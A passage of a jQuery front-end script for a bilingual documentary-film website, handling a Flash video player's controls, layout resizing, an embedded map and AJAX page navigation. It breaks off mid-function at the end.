var baseUrl = '';
var lan = '';
var topClass = '';
var dict = new Array;
var imgCache = new Array;

var appData = null;

function pic_window3() {
}

//base64
/**
*
*  Base64 encode / decode
*  http://www.webtoolkit.info/
*
**/

var Base64 = {
	// private property
	_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",

	// public method for encoding
	encode : function (input) {
		var output = "";
		var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
		var i = 0;

		input = Base64._utf8_encode(input);

		while (i < input.length) {

			chr1 = input.charCodeAt(i++);
			chr2 = input.charCodeAt(i++);
			chr3 = input.charCodeAt(i++);

			enc1 = chr1 >> 2;
			enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
			enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
			enc4 = chr3 & 63;

			if (isNaN(chr2)) {
				enc3 = enc4 = 64;
			} else if (isNaN(chr3)) {
				enc4 = 64;
			}

			output = output + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
		}

		return output;
	},

	// public method for decoding
	decode : function (input) {
		var output = "";
		var chr1, chr2, chr3;
		var enc1, enc2, enc3, enc4;
		var i = 0;

		input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");

		while (i < input.length) {

			enc1 = this._keyStr.indexOf(input.charAt(i++));
			enc2 = this._keyStr.indexOf(input.charAt(i++));
			enc3 = this._keyStr.indexOf(input.charAt(i++));
			enc4 = this._keyStr.indexOf(input.charAt(i++));

			chr1 = (enc1 << 2) | (enc2 >> 4);
			chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
			chr3 = ((enc3 & 3) << 6) | enc4;

			output = output + String.fromCharCode(chr1);

			if (enc3 != 64) {
				output = output + String.fromCharCode(chr2);
			}
			if (enc4 != 64) {
				output = output + String.fromCharCode(chr3);
			}

		}

		output = Base64._utf8_decode(output);

		return output;

	},

	// private method for UTF-8 encoding
	_utf8_encode : function (string) {
		string = string.replace(/\r\n/g,"\n");
		var utftext = "";

		for (var n = 0; n < string.length; n++) {

			var c = string.charCodeAt(n);

			if (c < 128) {
				utftext += String.fromCharCode(c);
			}
			else if((c > 127) && (c < 2048)) {
				utftext += String.fromCharCode((c >> 6) | 192);
				utftext += String.fromCharCode((c & 63) | 128);
			}
			else {
				utftext += String.fromCharCode((c >> 12) | 224);
				utftext += String.fromCharCode(((c >> 6) & 63) | 128);
				utftext += String.fromCharCode((c & 63) | 128);
			}

		}

		return utftext;
	},

	// private method for UTF-8 decoding
	_utf8_decode : function (utftext) {
		var string = "";
		var i = 0;
		var c = c1 = c2 = 0;

		while ( i < utftext.length ) {

			c = utftext.charCodeAt(i);

			if (c < 128) {
				string += String.fromCharCode(c);
				i++;
			}
			else if((c > 191) && (c < 224)) {
				c2 = utftext.charCodeAt(i+1);
				string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
				i += 2;
			}
			else {
				c2 = utftext.charCodeAt(i+1);
				c3 = utftext.charCodeAt(i+2);
				string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
				i += 3;
			}

		}

		return string;
	}

}

//video player
var player = null;
//player.sendEvent = function(){}

var currentState = "NONE";
var previousState = "NONE";

var loadVideo = null;
var loadImage = null;

function playerReady(thePlayer) {
	player = document.getElementById(thePlayer.id);
	addListeners();
}

function addListeners() {
	if (player) {
		player.addModelListener('STATE', 'stateListener');
		player.addModelListener('TIME', 'timeListener');
	} else {
		window.setTimeout("addListeners()",100);
	}
}

function stateListener(obj) {
	currentState = obj.newstate;
	previousState = obj.oldstate;

	if ((currentState == "COMPLETED") && (previousState == "PLAYING")) {
		unPack();
	}

	//alert(currentState+' - '+previousState);
	/*
	if ((currentState == "COMPLETED") && (previousState == "PLAYING")) {
	}
	*/
}

function formatTime(time) {
	time = Math.round(time);

	var hours = Math.floor(time / 3600);
	time = time - (hours * 3600);
	hours = hours.toString();
	if(hours.length == 1)hours = '0'+hours;

	var minutes = Math.floor(time / 60);
	time = time - (minutes * 60);
	minutes = minutes.toString();
	if(minutes.length == 1)minutes = '0'+minutes;

	var seconds = time;
	seconds = seconds.toString();
	if(seconds.length == 1)seconds = '0'+seconds;

	return hours+':'+minutes+':'+seconds;
}

var riderDraged = false;
var riderMaxLeft = 431;
var riderBaseLeft = 410;
var videoDuration = 0;

function timeListener(obj) {
	if(!riderDraged) {
		$('span#timeElapsed').html(formatTime(obj.position));
		$('span#timeTotal').html(formatTime(obj.duration));

		var pos = Math.round(obj.position);
		videoDuration = Math.round(obj.duration);

		var left = Math.round((pos / videoDuration) * riderMaxLeft);

		var cor = 0;
		if($.browser.msie)cor = 12;

		$('div#rider').css('left', riderBaseLeft+left - cor);
	}
}

//player.sendEvent('PLAY');

// / video player

function activateScroll() {
	/*
	$('div.jScrollPaneContainer').each(function(){
		var cbs = $(this).find('div.cb');
		if(cbs.lenght) {
			alert(cbs.height());
		}
	});
	*/

	try {
		//wtf? ie tady hazi chybu
		//$('div.scroll').css('background-color', 'red');

		/*
		var x = 0;
		$('div.scroll').each(function(){
			++x;
			$(this).css('background-color', 'maroon')
			alert('first:'+x+': me:'+$(this).height()+' parent: '+$(this).parent().height());
		});
		*/

		$('div#packer div.scroll').jScrollPane({
			scrollbarWidth: 6,
			showArrows: true,
			reinitialiseOnImageLoad: false
		});

		/*
		x = 0;
		$('div.scroll').each(function(){
			++x;
			alert('second:'+x+': me:'+$(this).height()+' parent: '+$(this).parent().height());
		});
		*/
	} catch(e) {
	}
}

var allowSeek = false;

function setupPlayer(reset, strech) {
	var test = true;

	if(loadVideo != null && loadImage != null) {
		test = true;
	} else {
		var appData = $.getAppData();

		try {
			loadVideo = appData.showVideo;
			loadImage = appData.showImage;
		} catch(e) {
			test = false;

			loadVideo = null;
			loadImage = null;
		}
	}

	var videoDiv = $('div#video');

	/*
	stretching

	exactfit (disproportionate)
	uniform (stretch with black borders)
	fill (uniform, but completely fill the display)
	*/

	if(test && ($('div#videoCover').length == 0 || reset == true)) {
		if($('#bcgVideo').length)swfobject.removeSWF('bcgVideo');

		videoDiv.html('&nbsp;');
		$('div#videoCover').remove();

		videoDiv.height(winHei);

		videoDiv.html('<div id="videoRes">&nbsp;</div>');
		$('div#videoRes').height(winHei);

		videoDiv.after('<div id="videoCover"><img src="'+loadImage+'" alt="" /></div>');

		var vCover = $('div#videoCover');

		if(vCover.length) {
			vCover.height(winHei);

			$('img', vCover).height(winHei);

			if($('img', vCover).width() < $(window).width()) {
				$('img', vCover).width($(window).width());
			}
		}

		if(strech == undefined)strech = 'fill';

		var flashvars = {
			file: loadVideo,
			image: loadImage,
			stretching: strech,
			controlbar: 'none',
			volume: 50
		};

		var parts = loadVideo.split('.');
		var ext = parts.pop();

		if(ext.toLowerCase() == 'flv') {
			flashvars.streamer = baseUrl+'xmoov.php';
			allowSeek = true;
		} else {
			allowSeek = false;
		}

		//skin: baseUrl+'swf/blank_skin.swf',

		var params = {
			menu: 'false',
			allowscriptaccess: 'always',
			wmode: 'transparent'
		};

		var attributes = {
		  id: 'bcgVideo',
		  name: 'bcgVideo'
		};

		swfobject.embedSWF(baseUrl+'swf/player.swf', 'videoRes', $(window).width(), $('div#videoRes').height(), "9.0.0", baseUrl+'swf/expressInstall.swf', flashvars, params, attributes);
	}

	setupPlayerControls();
}

var muted = false;
var stoped = false;

function hideEle(eleId, callback) {
	if($.browser.msie) {
		$(eleId).hide();
		if(callback)callback();
	} else {
		$(eleId).slideUp('slow', callback);
	}
}

function showEle(eleId, callback) {
	if($.browser.msie) {
		$(eleId).show();
		if(callback)callback();
	} else {
		$(eleId).slideDown('slow', callback);
	}
}

var headHide = {
		timeout: null,
		moved: 0,
		hidden: 0,

		setMove: function() {
			$('body').unbind('mousemove');
			$('body').mousemove(headHide.move);
			headHide.setTimeout();
		},
		unsetMove: function() {
			$('body').unbind('mousemove');
			//$('body').unbind('mousemove', headHide.move);
		},
		setShow: function() {
			$('body').unbind('mousemove');
			$('body').bind('mousemove', headHide.show);
		},
		unsetShow: function() {
			$('body').unbind('mousemove');
			//$('body').unbind('mousemove', headHide.show);
		},
		move: function() {
			headHide.moved = 1;
		},
		check: function() {
			if(headHide.moved == 0 && headHide.hidden == 0) {
				$('div#rider').hide();
				hideEle('div#pageHead');
				headHide.hidden = 1;
				headHide.unsetMove();
				headHide.setShow();
			} else {
				headHide.setTimeout();
			}

			headHide.moved = 0;
		},
		show: function() {
			if(headHide.hidden == 1) {
				showEle('div#pageHead', function(){$('div#rider').show();});
				headHide.hidden = 0;
				headHide.unsetShow();
				headHide.setMove();
			}
		},
		setTimeout: function() {
			headHide.clearTimeout();
			headHide.timeout = window.setTimeout(headHide.check, 1500);
		},
		clearTimeout: function() {
			window.clearTimeout(headHide.timeout);
			headHide.timeout = null;
		},
		usetAll: function() {
			headHide.show();
			headHide.unsetMove();
			headHide.unsetShow();
			headHide.clearTimeout();
		}
};

function condPlay() {
	if(currentState != "PLAYING" && currentState != "BUFFERING") {
		player.sendEvent('STOP', true);
		player.sendEvent('PLAY', true);
		if(allowSeek)rider.draggable('enable');
		sound.draggable('enable');
	}
}

function nonCondPlay() {
	if(player && player.sendEvent) {
		player.sendEvent('STOP', true);
		player.sendEvent('PLAY', true);
		if(allowSeek)rider.draggable('enable');
		sound.draggable('enable');
		unMute();
	} else {
		window.setTimeout(nonCondPlay, 200);
	}
}

function packAndPlay() {
	setupPlayer(true, 'uniform');

	$('div#videoCover').hide();

	if(packer.get(0).packed == 0) {
		hideEle(packer);

		fullscreen.html(dict['switch_to_website']);
		fullscreen.addClass('fullscreenOver');
		if(allowSeek)rider.draggable('enable');
	}

	window.setTimeout(function() {
		packer.get(0).packed = 1;
		headHide.setMove();

		nonCondPlay();
	}, 200);
}

function unPack() {

	headHide.usetAll();
	showEle(packer, adjustHeight());
	packer.get(0).packed = 0;

	setupPlayer(true);

	fullscreen.html(dict['switch_to_fullscreen']);
	fullscreen.removeClass('fullscreenOver');
	rider.draggable('disable');
	sound.draggable('disable');
}

function mute() {
	muted = true;
	muteEle.addClass('muted');
	player.sendEvent('MUTE', true);
}

function unMute() {
	muted = false;
	muteEle.removeClass('muted');
	player.sendEvent('MUTE', false);
}

var fullscreen = null;
var packer = null;
var muteEle = null;
var rider = null;
var sound = null;

function setupPlayerControls() {
	if(player) {
		//baleni stranky
		fullscreen = $('a#fullscreen');
		packer = $('div#packer');

		if(fullscreen.length) {
			packer.get(0).packed = 0;

			fullscreen.unbind('click');

			fullscreen.click(function(event){
				event.preventDefault();
				event.stopPropagation();
				event.stopImmediatePropagation();

				if(packer.get(0).packed == 0) {
					packAndPlay();
				} else {
					player.sendEvent('STOP', true);
					$('div#videoCover').show();

					unPack();
				}
			});

			muteEle = $('div#playerControls a#mute');

			//ovladani videa
			if($('div#playerControls').length) {

				var aplay = $('div#playerControls a#play');
				aplay.blankHref();
				aplay.unbind('click');

				aplay.click(function() {
					if(packer.get(0).packed == 0) {
						packAndPlay();
					} else {
						player.sendEvent('PLAY', true);
						$('div#videoCover').hide();
					}
				});

				var apause = $('div#playerControls a#pause');
				apause.blankHref();
				apause.unbind('click');

				apause.click(function() {
					player.sendEvent('PLAY', false);
					$('div#videoCover').hide();
					stoped = true;
				});

				var astop = $('div#playerControls a#stop');
				astop.blankHref();
				astop.unbind('click');

				astop.click(function() {
					player.sendEvent('STOP');
					$('div#videoCover').show();
					stoped = true;
					headHide.usetAll();

					if(packer.get(0).packed == 1) {
						unPack();
					}
				});

				muteEle.unbind('click');
				muteEle.blankHref();
				muteEle.click(function() {
					if(muted == true)unMute();
					else mute();
				});
			}

			//hanka klik
			var hanka = $('a#hanka');
			hanka.unbind('click');

			hanka.click(function(event){
				event.preventDefault();

				packAndPlay();
			});


			//odkazy na video
			var videolink = $('a.videoLink');

			if(videolink.length) {
				videolink.each(function(){
					var im = $(this).find('img');

					$(this).prepend('<span>&nbsp;</span>');
					var sp = $(this).find('span');

					sp.css('position', 'absolute');

					if($.browser.msie) {
						var ml = 0;
						if(im.hasClass('mainImage')) {
							ml = -im.width() - 199;
						} else {
							ml = -im.width() - 4;
						}

						sp.css({
							'margin-left': ml
						});
					}

					/*
					if($.browser.msie) {
						var mt = im.height() - sp.height() + 4;
						var ml = 0;
						if(im.hasClass('mainImage')) {
							ml = -im.width() - 199 + (im.width() - sp.width()) + 4;
						} else {
							ml = -im.width() + (im.width() - sp.width());
						}

						sp.css({
							'margin-top': mt,
							'margin-left': ml
						});
					} else {
						sp.css({
							'margin-top': im.height() - sp.height(),
							'margin-left': im.width() - sp.width()
						});
					}
					*/
				});

				/*
				player.sendEvent('LOAD', {
					file: $(this).attr('href'),
					image: $(this).find('img').attr('src'),
					title: '',
					description: ''
				});
				*/

				videolink.unbind('click');
				videolink.click(function(event) {
					event.preventDefault();
					event.stopPropagation();

					loadVideo = $(this).attr('href');
					loadImage = $(this).find('img').attr('src');

					$('div#playInfo').html($(this).attr('title'));

					var npa = $('div#nowPlaying a');

					npa.unbind('click');
					npa.click(function(event){
						event.preventDefault();
						player.sendEvent('STOP');
						$('div#videoCover').show();
						unPack();
					});

					packAndPlay();
				});
			}

			//videoplaceholder
			var placeholders = $('div.videoPlaceholder');

			if(placeholders.length) {
				placeholders.each(function(){
					$(this).prepend('<span>&nbsp;</span>');

					/*
					var sp = $(this).find('span');

					sp.css({
						'margin-top': $(this).height() - sp.height(),
						'margin-left': $(this).width() - sp.width()
					});
					*/
				});

				placeholders.unbind('click');
				placeholders.click(function(event){
					event.preventDefault();
					event.stopPropagation();

					$('div#playInfo').html($(this).find('img').attr('alt'));

					var npa = $('div#nowPlaying a');

					npa.unbind('click');
					npa.click(function(event){
						event.preventDefault();
						player.sendEvent('STOP');
						$('div#videoCover').show();
						unPack();
					});

					loadVideo = $(this).find('a').attr('href');
					loadImage = $(this).css('background-image').replace('/ins/', '/big/');

					/*
					player.sendEvent('LOAD', {
						file: $(this).find('a').attr('href'),
						image: '',
						title: '',
						description: ''
					});
					*/

					packAndPlay();
				});
			}
		}

		//timeline
		rider = $('div#rider');
		rider.draggable({
			axis: 'x',
			containment: 'parent',
			start: function(){
				riderDraged = true;
			},
			drag: function(){
				if(videoDuration) {
					var riderPos = parseInt(rider.css('left')) - riderBaseLeft;
					var showDur = Math.round((riderPos / riderMaxLeft) * videoDuration);
					$('span#timeElapsed').html(formatTime(showDur));
				}
			},
			stop: function(){
				riderDraged = false;

				if(videoDuration) {
					var riderPos = parseInt(rider.css('left')) - riderBaseLeft;
					var showDur = Math.round((riderPos / riderMaxLeft) * videoDuration);
					$('span#timeElapsed').html(formatTime(showDur));

					player.sendEvent('MUTE', true);
					player.sendEvent('SEEK', showDur);
					player.sendEvent('MUTE', false);
					player.sendEvent('PLAY', true);
				}
			}
		});

		rider.draggable('disable');

		//sound
		sound = $('div#soundControll span');
		var maxSL = 94;
		var maxST = 14;
		var minST = 4;

		sound.draggable({
			axis: 'x',
			containment: 'parent',
			drag: function(){
				var left = parseInt(sound.css('left'));
				var rat = (left / maxSL);
				var volume = Math.round(rat * 100);
				var setTop = maxST - Math.round(rat * (maxST - minST));

				//console.log(left, rat, setTop);

				sound.css('top', setTop);
				player.sendEvent('VOLUME', volume);
			}
		});

		sound.draggable('disable');

		sound.css({
			'left': 47,
			'top': 9
		});

		//video od zacatku
		if(appData.useAjax == 1 && appData.autostart == 1 && stoped == false) {
			if(currentState != "PLAYING" && currentState != "BUFFERING") {
				function startVideo() {
					if(player && player.sendEvent) {
						player.sendEvent('STOP', true);
						headHide.usetAll();
						player.sendEvent('PLAY', true);
						$('div#videoCover').hide();
						nonCondPlay();
						rider.draggable('disable');
						mute();
					} else {
						window.setTimeout(startVideo, 300);
					}
				}

				startVideo();
			}
		}

	} else {
		window.setTimeout("setupPlayerControls()", 100);
	}
}

var winHei = 0;

function adjustHeight(reset) {	//pokud hraje video - zastavit
	if(player) {
		var fullscreen = $('a#fullscreen');
		var packer = $('div#packer');

		headHide.usetAll();
		showEle(packer);
		packer.get(0).packed = 0;

		fullscreen.html(dict['switch_to_fullscreen']);
		fullscreen.removeClass('fullscreenOver');

		//2do - v ie dela chybu
		//player.sendEvent('STOP', true);
	}

	//dokumentarni databaze - schovavani deskripci
	/**/
	var listItemsC = $('div.listItem div.contact');
	if(listItemsC.length) {
		listItemsC.hide();

		var divh3 = $('div.database h3');

		divh3.unbind('click');
		divh3.click(function() {
			listItemsC.hide();

			var go = false;
			if($(this).find('span.more').css('background-image').search('plus') != -1) {
				go = true;
			}

			divh3.find('span.more').css('background-image', 'url("'+baseUrl+'img/plus.png")');

			if(go) {
				$(this).find('span.more').css('background-image', 'url("'+baseUrl+'img/minus.png")');
				$(this).parent('div.listItem').find('div.contact').toggle();
			}
		});
	}

	//rozkliky obrazku
	var dImage = $('img.detailImage');

	if(dImage.length) {
		/*
		dImage.load(function(){
			$(this).get(0).initalPic = $(this).attr('src');
			$(this).get(0).imgState = 0;
			$(this).get(0).justOpened = 0;
			$(this).css('opacity', 0.5);
			$(this).get(0).initalWidth = $(this).width();
			$(this).get(0).initalHeight = $(this).height();
		});
		*/

		dImage.unbind('click');
		dImage.click(function(event){
			event.preventDefault();
			event.stopPropagation();
			event.stopImmediatePropagation();

			//alert('boom');

			//

			if(
			($(this).get(0).imgState == 0 || $(this).get(0).imgState == undefined)
			&& $(this).parent().get(0).tagName == 'A'
			) {
				var bigPic = $(this).parent().attr('href');
				var smPic = $(this).get(0).initalPic;
				var aPic = $(this).attr('src');

				//alert('to big');

				$(this).get(0).initalPic = $(this).attr('src');
				$(this).get(0).initalWidth = $(this).width();
				$(this).get(0).initalHeight = $(this).height();

				$(this).get(0).imgState = 1;
				$(this).get(0).justOpened = 1;

				$(this).width('auto');
				$(this).height('auto');

				$(this).unbind('load');

				$(this).load(function(){
					if($(this).width() != 543)$(this).width(543);
					activateScroll();
					$(this).parents('div.scroll').get(0).scrollBy(Math.floor($(this).height() / 2));
				});

				$(this).attr('src', bigPic);
			}

			dImage.each(function() {
				if($(this).get(0).justOpened == 0 && $(this).get(0).imgState == 1 && $(this).parent().get(0).tagName == 'A') {
					//alert('to sm');

					var bigPic = $(this).parent().attr('href');
					var smPic = $(this).get(0).initalPic;
					var aPic = $(this).attr('src');

					$(this).get(0).imgState = 0;

					$(this).unbind('load');
					$(this).load(function(){
						$(this).width($(this).get(0).initalWidth);
						$(this).height($(this).get(0).initalHeight);

						activateScroll();
					});
					$(this).attr('src', smPic);
				}
				//$(this).attr('src', $(this).get(0).initalPic);
				$(this).get(0).justOpened = 0;
			});

			//activateScroll();
		});

		dImage.mouseover(function(event){
			event.preventDefault();
			event.stopPropagation();
			if($(this).attr('alt') != '')$.showToolTip($(this).attr('alt'));
		});

		dImage.mouseout(function(event){
			$.hideToolTip();
		});
	}


	//uprav vysku podle obrazovky
	winHei = $(window).height();

	/*
	if(parseInt($('div.cb').css('min-height')) != 0) {
		//uloz min-height
		window.saveMinHeight = parseInt($('div.cb').css('min-height'));
	} else {
		$('div.cb').css('min-height', window.saveMinHeight);
	}
	*/

	var minH = 375;

	var claim = $('div#claim');
	var colH2 = $('div#packer div.col h2');
	var cb = $('div#packer div.cb');
	var col = $('div#packer div.col');

	var minHei = claim.height()
	+ parseInt(claim.css('margin-bottom'))
	+ colH2.height()
	- parseInt(colH2.css('margin-bottom'))
	+ minH
	+ parseInt(cb.css('padding-top'))
	+ parseInt(cb.css('padding-bottom'))
	+ parseInt(col.css('margin-bottom'))
	+ $('div#footer').height();

	if(winHei < minHei)winHei = minHei;

	var colHei = winHei - claim.height() - parseInt(claim.css('margin-bottom'))
	- parseInt(col.css('margin-bottom')) - $('div#footer').height();

	var colBodyHei = colHei - colH2.height() - parseInt(colH2.css('margin-bottom'))
	- parseInt(cb.css('padding-top')) - parseInt(cb.css('padding-bottom'));

	$('div#page').height(winHei);
	col.height(colHei);

	var zm = false;
	if($('div#zoneMenu').length) zm = true;

	cb.each(function() {
		var cbts = $(this).parents('div.col').find('div.cbt');

		if(cbts.length) {
			//$(this).css('background-color', 'green');
			var subsH = 0;

			cbts.each(function() {
				subsH += ($(this).outerHeight() + 2);
			});

			var setHei = colBodyHei
			- subsH
			- parseInt($(this).css('padding-bottom'));

			if(zm)setHei = setHei + 11;

			$(this).height(setHei);

			if ($(this).parent().is('.jScrollPaneContainer')) {
				$(this).parent().height(setHei + parseInt($(this).css('padding-top')) + parseInt($(this).css('padding-bottom')));
				//alert('after set container: '+$(this).parent().height());
			}

		} else {
			//$(this).css('background-color', 'red');

			var setHei = colBodyHei - parseInt($(this).css('padding-bottom'));
			if(zm)setHei = setHei + 11;

			$(this).height(setHei);

			if ($(this).parent().is('.jScrollPaneContainer')) {
				var setHei = colBodyHei + parseInt(cb.css('padding-top')) + parseInt(cb.css('padding-bottom'));
				$(this).parent().height(setHei);
			}
		}

		var fInfo = $(this).find('div.filtersInfo');

		if(fInfo.length) {
			/*
			$(this).find('div.filtersInfo').height(colBodyHei + (cor * 2));
			$(this).find('div.filtersInfo div.left').height(colBodyHei + (cor * 2));
			$(this).find('div.filtersInfo div.right').height(colBodyHei + (cor * 2));
			*/

			var le = fInfo.find('div.left');
			var ri = fInfo.find('div.right');

			if(le.length) {
				fInfo.height(colBodyHei + 11);
				fInfo.find('div.left').height(colBodyHei + 11);
			} else if(ri.length) {
				var rim = parseInt($('div#leftFoot').height());

				fInfo.height(colBodyHei + 11 - rim);
				fInfo.find('div.right').height(colBodyHei + 11 - rim);
			}



		}
	});

	//$('div.cb').css('min-height', 0);

	//alert($('div.leftMenu div.cb').height()+' - '+$('div.leftMenu ul').height()+' - '+$('div#leftFoot').height());

	var leftMar = $('div.leftMenu div.cb').height() - $('div.leftMenu ul').height() - $('div#leftFoot').height(); //-cor

	/**/
	$('div.leftMenu ul').css({
		'margin-bottom': leftMar
	});
	/**/

	//$('div.cb').css('background-color', 'red');

	setupPlayer(reset);
	activateScroll();
	/**/
}

var nextImage = 0;

function checkImageReady() {
	/*
	if(nextImage == 0) {
		activateScroll();
	} else {
		window.setTimeout(checkImageReady, 1000);
	}
	nextImage = 0;
	*/
}

var curX = 0;
var curY = 0;

var winX = 0;
var winY = 0;

$(window).height();

var loaderOffset = 20;
var loaderSize = 244;

function movePageLoader() {
	var useX = curX + loaderOffset;
	var useY = curY + loaderOffset;

	if(useX > (winX - loaderSize)) {
		useX = (winX - loaderSize);
	}

	if(useY > (winY - loaderSize)) {
		useY = (winY - loaderSize);
	}

	$('div#pageLoader').css({
		top: useY,
		left: useX
	});

	/*
	$('div#pageLoader').html(
	(winX - loaderSize)+'|'+(winY - loaderSize)+'<br />'+
	useX+'|'+useY
	);
	*/
}

function setPosition(event) {
	curX = event.pageX;
	curY = event.pageY;
}

function showPageLoader() {
	winX = $(window).width();
	winY = $(window).height();

	var useX = curX + loaderOffset;
	var useY = curY + loaderOffset;

	if(useX > (winX - loaderSize)) {
		useX = (winX - loaderSize);
	}

	if(useY > (winY - loaderSize)) {
		useY = (winY - loaderSize);
	}

	$('body').append('<div id="pageLoader">&nbsp;</div>');
	$('div#pageLoader').css({
		top: useY,
		left: useX
	});

	$('body').unbind('mousemove', movePageLoader);
	$('body').mousemove(movePageLoader);

	$('div#pageLoader').show();
}

function hidePageLoader() {
	$('body').unbind('mousemove', movePageLoader);
	$('div#pageLoader').remove();
}

var mapGo = function(){};

function documentReady() {
	$('*').unbind();

	//alert('ready');

	//load app data
	appData = $.getAppData();
	baseUrl = appData.baseUrl;
	lan = appData.lan;
	dict = appData.dict;
	topClass = appData.topClass;

	$(document.body).attr('class', '');
	if(topClass != '')$(document.body).addClass(topClass);

	$('a').unbind('click');
	adjustHeight();
	$(window).unbind('resize');
	$(window).bind('resize', function(){adjustHeight(true)});

	$('body').unbind('mousemove', setPosition);
	$('body').mousemove(setPosition);

	//dokumentarni mapa
	if($('div#industryMapMark').length) {
			var flashvars = {
				xmlinput: baseUrl+lan+'/flashxml/?type=map'
			};

			var params = {
				menu: 'false',
				allowscriptaccess: 'none',
				wmode: 'transparent'
			};

			var attributes = {
			  id: 'industryMap',
			  name: 'industryMap'
			};

			swfobject.embedSWF(baseUrl+'swf/map.swf', 'industryMapMark', 554, 554, "9.0.0", baseUrl+'swf/expressInstall.swf', flashvars, params, attributes);
	}

	var goLink = $('a#goLink');

	if(!goLink.length) {
		$('#industryMap').after('<a href="#" id="goLink">&nbsp;</a>');
		$('a#goLink').css('display', 'none');

		goLink = $('a#goLink');
	}

	mapGo = function(country){
		if(country == undefined)country = '';

		parts = $('input#url').val().split('?');
		var uurl = parts[0].replace('#', '');

		if(
		appData.useAjax == 1
		&& player
		&& (currentState == "PLAYING" || currentState == "BUFFERING" || currentState == "PAUSED")
		) {
			goLink.attr('href', uurl+'?country='+country);
			goLink.trigger('click');
		} else {
			document.location.href = uurl+'?country='+country;
		}
	};

	if(appData.useAjax == 1) {
		//ajax linky
		$('a').click(function(event){
			if(
			player
			&& (currentState == "PLAYING" || currentState == "BUFFERING" || currentState == "PAUSED")
			&& $(this).attr('target') != '_blank'
			&& $(this).attr('href').search('mailto:') == -1
			&& $(this).attr('href').search('javascript:') == -1
			&& $(this).attr('id') != 'play'
			&& $(this).attr('id') != 'pause'
			&& $(this).attr('id') != 'stop'
			&& $(this).attr('id') != 'mute'
			&& $(this).attr('id') != 'fullscreen'
			&& $(this).attr('id') != 'hanka'
			&& $(this).attr('id') != 'closer'
			&& !$(this).hasClass('tabLink')
			) {


				var hr = $(this).attr('href');
				var bu = baseUrl+lan+'/';

				hr = hr.replace(bu, '');

				var oplan = 'cs';
				if(lan == 'cs')oplan = 'en';
				var buo = baseUrl+oplan+'/';
				var useBuo = false;

				if(hr.search('http:') != -1) {
					//zkus jesli to neni link na druhou jazykovou verzi
					hr = hr.replace(buo, '');
					useBuo = true;
				}

				//hr = hr.replace(document.location.href, '');

				//alert(hr);

				if(
				hr.search('http:') == -1
				&& hr.substr(0, 1) != '#'
				//&& hr.substr((hr.length - 1), 1) != '#'
				&& !$(this).hasClass('videoLink')
				) {
					event.preventDefault();

					//alert(hr);

					var useUrl = '';
					if(hr.substring(0, 1) == '?') {
						//v linku je jen query string

						ex = $(this).attr('href').split('?');

						//ma link vest na homepage
						if(ex[0] == bu) {
							//ano
							useUrl = bu+hr;
						} else {
							//ne, ma vest na soucasny url
							var uSplit = $('input#url').val().split('?');

							if(useBuo && uSplit[0] == bu) {
								useUrl = buo+hr;
							} else {
								useUrl = uSplit[0]+hr;
							}
						}
					} else {
						if(useBuo)useUrl = buo+hr;
						else useUrl = bu+hr;
					}

					//alert(useUrl);

					showPageLoader();

					var msieStoped = false;
					if(player && $.browser.msie && (currentState == "PLAYING" || currentState == "BUFFERING")) {
						player.sendEvent('PLAY', false);
						msieStoped = true;
					}

					if(useBuo)useLan = oplan;
					else useLan = lan;

					//alert(baseUrl+useLan+'/ajax/?type=ajaxUpdate&url='+Base64.encode(useUrl))

					$.getJSON(baseUrl+useLan+'/ajax/', {
						type: 'ajaxUpdate',
						//url: $.URLEncode(useUrl)
						url: Base64.encode(useUrl)
					},
					function(data){
						document.title = data['title'];
						$('div#site').html('&nbsp;');
						$('div#site').html(data['html']);

						if(player && $.browser.msie && msieStoped == true) {
							player.sendEvent('PLAY', true);
						}

						hidePageLoader();
						documentReady();
					});

					 $('body').ajaxError(function(event, request, settings){
						 document.location.href = useUrl;
						 //$('div#pageLoader').remove();
					 });
				}
			}
		});

		//ajax formulare
		$('form').unbind('submit');

		/*
		$('form#cse-search-box').submit(function(event){
			event.preventDefault();
			event.stopPropagation();
			event.stopImmediatePropagation();

			$('body').append('<div id="searchCover">&nbsp;</div>');
			$('div#searchCover').css('height', winHei).css('opacity', 0.6);

			var src = $(this).attr('action')+'?'+$(this).serialize();
			$('body').append('');

			var ifr = $('iframe#searchFrame');

			ifr.load(function(){
				alert('boom1');
				alert($(this).contents().find('a').length+' - ');
				alert('boom2');
			});

			return false;
		});
		*/

		$('form').submit(function(event){
			if(
			player
			&& (currentState == "PLAYING" || currentState == "BUFFERING" || currentState == "PAUSED")
			&& $(this).attr('id') != 'cse-search-box'
			&& $(this).attr('method') != 'post'
			) {
				// && player && (currentState == "PLAYING" || currentState == "BUFFERING")
				event.preventDefault();

				var hr = $(this).attr('action');
				var bu = baseUrl+lan+'/';

				hr = hr.replace(bu, '');

				var useUrl = '';

				//wtf? serialize nekdy nefunguje v ie8
				//alert($(this).serialize());

				var ser = '';
				$(this).find('select, input').each(function(){
					ser += $(this).attr('name')+'='+$(this).val()+'&'
				});

				if(hr.substring(0, 2) == './') {
					var uSplit = $('input#url').val().split('?');
					useUrl = uSplit[0]+'?'+ser;
				} else {
					useUrl = bu+hr+'?'+ser;
				}

				showPageLoader();

				//alert(baseUrl+lan+'/ajax/?type=ajaxUpdate&url='+$.base64.encode(useUrl));
				//$.base64.is_unicode = true;

				var msieStoped = false;
				if(player && $.browser.msie && (currentState == "PLAYING" || currentState == "BUFFERING")) {
					player.sendEvent('PLAY', false);
					msieStoped = true;
				}

				$.getJSON(baseUrl+lan+'/ajax/', {
					type: 'ajaxUpdate',
					//url: $.URLEncode(useUrl),
					url: Base64.encode(useUrl)
				},
				function(data){
					document.title = data['title'];
					$('div#site').html(data['html']);

					if(player && $.browser.msie && msieStoped == true) {
						player.sendEvent('PLAY', true);
					}

					documentReady();
					hidePageLoader();
				});

				$('body').ajaxError(function(event, request, settings){
					document.location.href = useUrl;
					//alert('error');
				});
			}
		});
	}

	//formulare search a newsletter
	var st = $('input#search_searchterm');
	if(st.length && st.val() == '') {
		st.insideTitle(dict['search']);
	}

	var nt = $('input#newsletterform_email');
	if(nt.length && nt.val() == '') {
